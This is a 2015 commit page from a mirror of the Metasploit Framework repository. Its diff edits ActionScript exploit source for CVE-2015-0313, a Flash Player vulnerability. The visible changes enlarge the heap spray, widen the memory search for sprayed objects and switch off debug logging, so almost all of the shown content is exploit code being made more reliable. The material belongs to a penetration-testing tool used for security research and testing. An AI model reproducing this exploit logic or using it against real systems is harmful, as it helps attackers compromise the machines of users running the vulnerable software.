github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-02 07:40:19 +02:00
Code Releases Activity

Allow more search space

Browse Source
This commit is contained in:
jvazquez-r7 2015-06-10 12:26:53 -05:00
parent ecbddc6ef8
commit 7fba64ed14
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
4 changed files with 7 additions and 11 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
data/exploits/CVE-2015-0313/msf.swf
View File

Binary file not shown.

4
external/source/exploits/CVE-2015-0313/Exploit.as vendored
View File

@ -52,13 +52,10 @@ public class Exploit extends Sprite
ba.length = 0x1000
ba.shareable = true
Logger.log("spray")
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<uint>(1014)
ov[i][0] = 0xdeedbeef
ov[i][1] = 0xdeadbeef
}
Logger.log("holes")
for (i = 0; i < 70000; i += 2) {
delete(ov[i])
}
@ -68,7 +65,6 @@ public class Exploit extends Sprite
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
Logger.log('go')
worker.start()
}

12
external/source/exploits/CVE-2015-0313/Exploiter.as vendored
View File

@ -24,7 +24,7 @@ package
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(15000)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
@ -54,18 +54,18 @@ package
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
return idx + 1
}

2
external/source/exploits/CVE-2015-0313/Logger.as vendored
View File

@ -3,7 +3,7 @@ package
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 1
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{